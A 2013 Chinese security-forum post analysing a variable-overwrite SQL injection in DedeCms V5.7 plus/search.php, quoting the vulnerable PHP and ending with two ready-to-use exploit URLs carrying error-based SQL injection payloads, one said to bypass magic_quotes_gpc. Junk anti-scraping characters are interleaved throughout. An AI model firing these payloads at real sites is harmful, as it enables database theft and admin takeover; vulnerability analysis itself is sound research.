中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
1 `0 ]6 c' x/ c5 |
作者:
c4rp3nt3r@0x50sec.org
# o Q O% W* s% W8 o3 l3 i
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% }2 Q. z& ?+ ~4 a1 o0 o" Z- i
8 {. z/ H9 F3 s% @) K
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
8 G* Z+ Q; R8 C: m5 b8 N7 P# e1 H
" Z" S' h- g/ r" i2 S- u' y8 V' n
============
0 l, e- A' {# V( C+ \/ `
) D- E. t: w, c% i9 `5 t
" g' W: N6 U5 U* L) z1 f w h. q
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 y1 x& x5 a' G. S! M N
9 f% r1 y* g+ k# |( u+ x
require_once(dirname(__FILE__).”/../include/common.inc.php”);
- |( o4 t2 o2 Z5 t; P- t4 v) c
require_once(DEDEINC.”/arc.searchview.class.php”);
]3 L! G# a( D" B
' e4 b' P$ K* Y+ G) @
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 D0 Q8 ?, P7 z$ ~2 u w
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
2 k: P, ~( J3 r% Q$ M; I# h G
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
5 ~. p/ [" u" ?9 s4 F! b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
. a2 Z0 J% [+ [& c
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
# T5 Z1 h/ v; z9 G o5 W
( v4 Q) \; n% X) ]- R h0 E
if(!isset($orderby)) $orderby=”;
& z. n, p2 Z4 ~4 E
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
7 m/ K7 ?8 z0 Q) O# Q8 z _6 e1 M0 _
- k' r# Q& B1 K$ t/ `9 h h
3 K A" F" ?0 T3 T7 ]; @% t
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
, d/ m- k( h" l) e
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
/ O5 E/ W& U" h$ E3 f/ D2 l
/ x* G1 g' E% L( Q* |( a0 S# M
if(!isset($keyword)){
$ u% q0 d, ^ a" V; s5 h8 R
if(!isset($q)) $q = ”;
: N- @4 o7 P' G l V* P6 c
$keyword=$q;
# B+ b8 O C5 C) B$ R6 {4 P
}
! V/ \6 R7 \8 \: V
4 y0 }/ L/ F! K" W! \& Q
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
9 T0 t3 x) s2 G' e$ W5 `
- C; c' U" F/ q5 V+ @, W: H
//查找栏目信息
8 s! X1 R( s7 ?. ^8 b" K" ]
if(empty($typeid))
: U4 P2 q8 ]4 X7 ]0 ~ D- [9 Q
{
A. u5 `" T/ W4 y
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
/ }& H" R9 G+ l( n7 D
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
# }/ F* @# j* u" u
{
O2 p: r7 }0 K# R! e( ]
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
9 s3 `3 @! d }& P! z- B/ H+ ^
fwrite($fp, “<”.”?php\r\n”);
% n( O: A% w j: }2 E: c
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
* b7 X! m) s" c- p/ V
$dsql->Execute();
P9 f/ `" ? t
while($row = $dsql->GetArray())
2 U# H2 K( L, k' g8 J
{
* b" J3 b& Z0 \9 J' Q$ o
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
, o, C5 U$ A+ V) r `) O% m
}
) r; O3 ~: A' d
fwrite($fp, ‘?’.'>’);
# p! r- m" v1 G# @. T Z+ m
fclose($fp);
+ E7 h5 q# j1 F d) y
}
" V( n' e/ m! ]( O8 E7 ?' @/ l6 R$ F+ L
//引入栏目缓存并看关键字是否有相关栏目内容
4 }8 E! m( k9 H& G
require_once($typenameCacheFile);
; e: y1 z; n, d
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
" O1 Z! q5 E( z+ ^# V) J' \
//
9 c* ^( {" g0 x+ v9 }2 H7 j
if(isset($typeArr) && is_array($typeArr))
) K: Y" @2 M4 H. A4 t
{
( v9 R, R, V0 ]$ A. Y
foreach($typeArr as $id=>$typename)
8 |8 }( s! p; X
{
) {$ J+ l) X: |& P/ T! Z
! d2 o: F3 K+ m1 Q
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
: \6 H% J6 e u& T u
if($keyword != $keywordn)
# x+ r( M) |- `, H+ y& d0 ?
{
/ C1 u9 k$ ?7 ^! x9 L" @
$keyword = $keywordn;
6 D5 w0 I/ v$ w. X( L
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
# J/ {/ m' J8 x9 k/ v
break;
; S. u; J( w; m/ v% k3 x3 g
}
0 V, L* k- h4 t2 g5 }- `6 c
}
6 i# h7 C7 w5 i. ~0 O2 F& f
}
+ y9 d! Q3 Y7 w
}
/ Y" o+ t) g* r: S* y5 Q
然后plus/search.php文件下面定义了一个 Search类的对象 .
* Z: P4 g; u! K- ?! a2 y- f
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
( b! M4 N3 Z6 R# x w( G* v
$this->TypeLink = new TypeLink($typeid);
0 C6 {( o5 Z5 g' D: v
3 f/ I6 w G2 T, F0 m) G* A
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
$ F: ?0 s3 R( I0 ^: L
+ n/ u# g4 J% A4 U& z
class TypeLink
7 I5 L! H8 ?. A
{
1 m. `$ f; m/ u3 F
var $typeDir;
/ c( ~% { v" z% p( }- a
var $dsql;
" V% Y C2 J A7 j, y+ N
var $TypeID;
% E! c9 i8 }7 Z" ~4 p/ f
var $baseDir;
& P# e- Y* T% j3 g& z
var $modDir;
' q6 D; a6 D+ m* L! x
var $indexUrl;
1 l' `0 u: D( x! J! P0 f7 [; D
var $indexName;
2 t) X! @; k7 c$ D+ F7 f* g
var $TypeInfos;
1 P. }* V# Z" z% y/ P, U
var $SplitSymbol;
* A c) Z* P# c
var $valuePosition;
& J$ J* C H; }& A. l' A6 m
var $valuePositionName;
/ l' Y1 t' R9 [: o ]. g; ~* j
var $OptionArrayList;//构造函数///////
2 C4 Z$ z( d7 z7 D+ { V. W- ~$ Z
//php5构造函数
4 A2 j* u' K$ u+ P/ p: |& A; r
function __construct($typeid)
" x* Z+ m+ e1 t1 A- n1 |$ z
{
: `0 O* J l7 s4 J. Y3 l! ^ l
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
) c# c7 O# G5 `& l
$this->indexName = $GLOBALS['cfg_indexname'];
7 w9 { b* c& Z2 P9 e5 Z- i7 M
$this->baseDir = $GLOBALS['cfg_basedir'];
* c/ E( M% g1 H
$this->modDir = $GLOBALS['cfg_templets_dir'];
- k# ^7 m6 m2 m0 C% k4 l. ?* X
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
6 d7 N% T5 c7 e* J9 a7 n
$this->dsql = $GLOBALS['dsql'];
# u! d1 r6 I3 Y* ~3 N
$this->TypeID = $typeid;
+ s: t: u7 m6 R& A; F& ^% Z
$this->valuePosition = ”;
- |+ S6 d N. }9 ^6 n9 Z
$this->valuePositionName = ”;
0 r& s, f- A6 i- [! I* u# Y
$this->typeDir = ”;
* V9 t0 X' ?5 H% N3 T- e3 w6 Q
$this->OptionArrayList = ”;
" g# H* s# _( C w$ I4 c
0 k% t3 `5 M* |
//载入类目信息
; f4 \/ _4 |# \+ d f3 t( C7 t
# }* b+ j' U/ y ~1 [
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
" V+ l! @7 l6 i" |8 w
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
0 ]4 Y. f$ c8 P( P8 d. _5 x2 ?9 |8 r
`#@__channeltype` ch
) \% Z- n: t% l1 f
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
) g" c5 ^- k, c8 Z5 |6 @7 b) c) [
' m. B; \; a$ a
if($typeid > 0)
3 T0 A0 u% k6 p+ ^8 l, Z
{
/ e5 D4 Y* a }0 p7 p, p/ M
$this->TypeInfos = $this->dsql->GetOne($query);
& [ N) C1 R# x, P$ E: s. {
利用代码一 需要 即使magic_quotes_gpc = Off
3 d* p8 k2 v) [' a$ E+ a0 g) y# R2 a
) X, c1 ` x) c- e: }% D
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
% u. H4 ^+ Z4 }% Y3 M5 c+ v
9 ^, }& E3 t) H5 J) J
这只是其中一个利用代码… Search 类的构造函数再往下
, O" n+ Y! w' K& d5 Z
; b" Y4 W9 q9 s( m1 d$ a
……省略
4 q) W/ Z0 v" _
$this->TypeID = $typeid;
! W7 }8 c8 u. s- g
……省略
6 r! m% s$ |3 L2 ?. G
if($this->TypeID==”0″){
4 a, ^/ ]5 ~" p8 e' J
$this->ChannelTypeid=1;
! T5 S; v2 p( S: G4 e" f
}else{
! ?7 j: V. Q& b6 E4 ]! B% U; V6 I
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
* H( @9 {* p1 q( ]. r# q
//现在不鸡肋了吧亲…
( e3 x: q2 y! `# s; T3 J
$this->ChannelTypeid=$row['channeltype'];
0 @. g6 o: y0 Q* ~/ F
: \3 K7 Q) e2 T, u7 C1 }) C
}
! b5 [, d9 E& F9 q# i0 ?# G
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
7 T5 N( q1 Q P* W7 N- y
0 S* ~, K8 p! i( h S
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 T, ] H7 D% `! l1 } |8 E
) [+ L- ?: k1 ]- J0 K$ l
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
: r0 _# i# w5 V9 r" s$ W
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2